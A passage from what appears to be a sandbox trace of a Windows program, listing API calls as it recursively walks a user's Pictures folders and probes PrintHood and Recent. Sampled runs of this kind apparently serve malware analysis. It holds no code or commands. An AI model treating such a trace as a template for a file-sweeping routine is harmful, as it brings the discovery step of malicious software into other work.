ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.985] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8909dc30, ftCreationTime.dwHighDateTime=0x1d5c35c, ftLastAccessTime.dwLowDateTime=0x38c9adf0, ftLastAccessTime.dwHighDateTime=0x1d5c3a1, ftLastWriteTime.dwLowDateTime=0x38c9adf0, ftLastWriteTime.dwHighDateTime=0x1d5c3a1, nFileSizeHigh=0x0, nFileSizeLow=0x18fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="4H9hTNxZfzWQ1WGQIZ.png", cAlternateFileName="")) returned 1 [0090.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351928 [0090.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faa80) returned 1 [0090.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f60d8 [0090.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351e50 [0090.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.987] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c86b90, ftCreationTime.dwHighDateTime=0x1d5c459, ftLastAccessTime.dwLowDateTime=0xec700960, ftLastAccessTime.dwHighDateTime=0x1d5bb79, ftLastWriteTime.dwLowDateTime=0xec700960, ftLastWriteTime.dwHighDateTime=0x1d5bb79, nFileSizeHigh=0x0, nFileSizeLow=0x122da, dwReserved0=0x0, dwReserved1=0x0, cFileName="5bBY5g.bmp", cAlternateFileName="")) returned 1 [0090.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f60f8 [0090.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1351f58 [0090.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.989] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e335a0, ftCreationTime.dwHighDateTime=0x1d5b5a3, ftLastAccessTime.dwLowDateTime=0x7928c080, ftLastAccessTime.dwHighDateTime=0x1d5b79d, ftLastWriteTime.dwLowDateTime=0x7928c080, ftLastWriteTime.dwHighDateTime=0x1d5b79d, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Fgeq40y9axu1H2K.png", cAlternateFileName="")) returned 1 [0090.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6118 [0090.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352060 [0090.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.991] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ad19b00, ftCreationTime.dwHighDateTime=0x1d5ba96, ftLastAccessTime.dwLowDateTime=0x56e661a0, ftLastAccessTime.dwHighDateTime=0x1d5b7ff, ftLastWriteTime.dwLowDateTime=0x56e661a0, ftLastWriteTime.dwHighDateTime=0x1d5b7ff, nFileSizeHigh=0x0, nFileSizeLow=0x11997, dwReserved0=0x0, dwReserved1=0x0, cFileName="HP8aLpg.jpg", cAlternateFileName="")) returned 1 [0090.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6138 [0090.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352168 [0090.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc700a0, ftCreationTime.dwHighDateTime=0x1d5c24a, ftLastAccessTime.dwLowDateTime=0xa051590, ftLastAccessTime.dwHighDateTime=0x1d5bdc5, ftLastWriteTime.dwLowDateTime=0xa051590, ftLastWriteTime.dwHighDateTime=0x1d5bdc5, nFileSizeHigh=0x0, nFileSizeLow=0x8636, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uq4IIL4m.bmp", cAlternateFileName="")) returned 1 [0090.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6158 [0090.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352270 [0090.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.995] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b3cfb20, ftCreationTime.dwHighDateTime=0x1d5bdd8, ftLastAccessTime.dwLowDateTime=0xeff0d440, ftLastAccessTime.dwHighDateTime=0x1d5c2e3, ftLastWriteTime.dwLowDateTime=0xeff0d440, ftLastWriteTime.dwHighDateTime=0x1d5c2e3, nFileSizeHigh=0x0, nFileSizeLow=0x8a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="UzOGiH6sSePgWDhPjb0.gif", cAlternateFileName="")) returned 1 [0090.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6178 [0090.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352378 [0090.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.997] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad0cc50, ftCreationTime.dwHighDateTime=0x1d5c4b0, ftLastAccessTime.dwLowDateTime=0x11f89a60, ftLastAccessTime.dwHighDateTime=0x1d5c45f, ftLastWriteTime.dwLowDateTime=0x11f89a60, ftLastWriteTime.dwHighDateTime=0x1d5c45f, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0wJmJb5.jpg", cAlternateFileName="")) returned 1 [0090.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.998] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa9f8 [0090.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6198 [0090.998] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352480 [0090.999] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa9f8) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad0cc50, ftCreationTime.dwHighDateTime=0x1d5c4b0, ftLastAccessTime.dwLowDateTime=0x11f89a60, ftLastAccessTime.dwHighDateTime=0x1d5c45f, ftLastWriteTime.dwLowDateTime=0x11f89a60, ftLastWriteTime.dwHighDateTime=0x1d5c45f, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0wJmJb5.jpg", cAlternateFileName="")) returned 0 [0090.999] GetLastError () returned 0x12 [0090.999] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\WCssO2KW2d8wAeM6dA\\OImXeY uee\\sotC_XSP8SvMbYh\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.999] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8909dc30, ftCreationTime.dwHighDateTime=0x1d5c35c, ftLastAccessTime.dwLowDateTime=0x38c9adf0, ftLastAccessTime.dwHighDateTime=0x1d5c3a1, ftLastWriteTime.dwLowDateTime=0x38c9adf0, ftLastWriteTime.dwHighDateTime=0x1d5c3a1, nFileSizeHigh=0x0, nFileSizeLow=0x18fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="4H9hTNxZfzWQ1WGQIZ.png", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c86b90, ftCreationTime.dwHighDateTime=0x1d5c459, ftLastAccessTime.dwLowDateTime=0xec700960, ftLastAccessTime.dwHighDateTime=0x1d5bb79, ftLastWriteTime.dwLowDateTime=0xec700960, ftLastWriteTime.dwHighDateTime=0x1d5bb79, nFileSizeHigh=0x0, nFileSizeLow=0x122da, dwReserved0=0x0, dwReserved1=0x0, cFileName="5bBY5g.bmp", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e335a0, ftCreationTime.dwHighDateTime=0x1d5b5a3, ftLastAccessTime.dwLowDateTime=0x7928c080, ftLastAccessTime.dwHighDateTime=0x1d5b79d, ftLastWriteTime.dwLowDateTime=0x7928c080, ftLastWriteTime.dwHighDateTime=0x1d5b79d, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Fgeq40y9axu1H2K.png", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ad19b00, ftCreationTime.dwHighDateTime=0x1d5ba96, ftLastAccessTime.dwLowDateTime=0x56e661a0, ftLastAccessTime.dwHighDateTime=0x1d5b7ff, ftLastWriteTime.dwLowDateTime=0x56e661a0, ftLastWriteTime.dwHighDateTime=0x1d5b7ff, nFileSizeHigh=0x0, nFileSizeLow=0x11997, dwReserved0=0x0, dwReserved1=0x0, cFileName="HP8aLpg.jpg", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc700a0, ftCreationTime.dwHighDateTime=0x1d5c24a, ftLastAccessTime.dwLowDateTime=0xa051590, ftLastAccessTime.dwHighDateTime=0x1d5bdc5, ftLastWriteTime.dwLowDateTime=0xa051590, ftLastWriteTime.dwHighDateTime=0x1d5bdc5, nFileSizeHigh=0x0, nFileSizeLow=0x8636, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uq4IIL4m.bmp", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b3cfb20, ftCreationTime.dwHighDateTime=0x1d5bdd8, ftLastAccessTime.dwLowDateTime=0xeff0d440, ftLastAccessTime.dwHighDateTime=0x1d5c2e3, ftLastWriteTime.dwLowDateTime=0xeff0d440, ftLastWriteTime.dwHighDateTime=0x1d5c2e3, nFileSizeHigh=0x0, nFileSizeLow=0x8a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="UzOGiH6sSePgWDhPjb0.gif", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad0cc50, ftCreationTime.dwHighDateTime=0x1d5c4b0, ftLastAccessTime.dwLowDateTime=0x11f89a60, ftLastAccessTime.dwHighDateTime=0x1d5c45f, ftLastWriteTime.dwLowDateTime=0x11f89a60, ftLastWriteTime.dwHighDateTime=0x1d5c45f, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0wJmJb5.jpg", cAlternateFileName="")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad0cc50, ftCreationTime.dwHighDateTime=0x1d5c4b0, ftLastAccessTime.dwLowDateTime=0x11f89a60, ftLastAccessTime.dwHighDateTime=0x1d5c45f, ftLastWriteTime.dwLowDateTime=0x11f89a60, ftLastWriteTime.dwHighDateTime=0x1d5c45f, nFileSizeHigh=0x0, nFileSizeLow=0xa7cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="V0wJmJb5.jpg", cAlternateFileName="")) returned 0 [0091.000] GetLastError () returned 0x12 [0091.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351a30) returned 1 [0091.000] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351928) returned 1 [0091.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1351820) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a9eaa80, ftCreationTime.dwHighDateTime=0x1d5bff5, ftLastAccessTime.dwLowDateTime=0xc9a81030, ftLastAccessTime.dwHighDateTime=0x1d5c475, ftLastWriteTime.dwLowDateTime=0xc9a81030, ftLastWriteTime.dwHighDateTime=0x1d5c475, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sotC_XSP8SvMbYh", cAlternateFileName="")) returned 0 [0091.001] GetLastError () returned 0x12 [0091.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13510e8) returned 1 [0091.001] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13511f0) returned 1 [0091.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1350fe0) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76204140, ftCreationTime.dwHighDateTime=0x1d5c0fa, ftLastAccessTime.dwLowDateTime=0x47097a50, ftLastAccessTime.dwHighDateTime=0x1d5c039, ftLastWriteTime.dwLowDateTime=0x47097a50, ftLastWriteTime.dwHighDateTime=0x1d5c039, nFileSizeHigh=0x0, nFileSizeLow=0x1639a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UkW5sb3C3MKBQx.gif", cAlternateFileName="")) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76204140, ftCreationTime.dwHighDateTime=0x1d5c0fa, ftLastAccessTime.dwLowDateTime=0x47097a50, ftLastAccessTime.dwHighDateTime=0x1d5c039, ftLastWriteTime.dwLowDateTime=0x47097a50, ftLastWriteTime.dwHighDateTime=0x1d5c039, nFileSizeHigh=0x0, nFileSizeLow=0x1639a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UkW5sb3C3MKBQx.gif", cAlternateFileName="")) returned 0 [0091.002] GetLastError () returned 0x12 [0091.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fab08) returned 1 [0091.002] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0091.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0091.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.002] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101cbe0, ftCreationTime.dwHighDateTime=0x1d5c59f, ftLastAccessTime.dwLowDateTime=0x96660500, ftLastAccessTime.dwHighDateTime=0x1d5c115, ftLastWriteTime.dwLowDateTime=0x96660500, ftLastWriteTime.dwHighDateTime=0x1d5c115, nFileSizeHigh=0x0, nFileSizeLow=0xcd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="yc1RiwJ632P_-g8d.jpg", cAlternateFileName="")) returned 1 [0091.002] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1101cbe0, ftCreationTime.dwHighDateTime=0x1d5c59f, ftLastAccessTime.dwLowDateTime=0x96660500, ftLastAccessTime.dwHighDateTime=0x1d5c115, ftLastWriteTime.dwLowDateTime=0x96660500, ftLastWriteTime.dwHighDateTime=0x1d5c115, nFileSizeHigh=0x0, nFileSizeLow=0xcd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="yc1RiwJ632P_-g8d.jpg", cAlternateFileName="")) returned 0 [0091.002] GetLastError () returned 0x12 [0091.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.002] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="")) returned 1 [0091.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.003] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.003] GetLastError () returned 0x5 [0091.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.004] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.005] GetLastError () returned 0x5 [0091.005] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.005] GetLastError () returned 0x5 [0091.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.006] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0091.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.006] GetLastError () returned 0x5 [0091.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0091.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0091.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.007] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.007] GetLastError () returned 0x5 [0091.007] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.008] GetLastError () returned 0x5 [0091.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 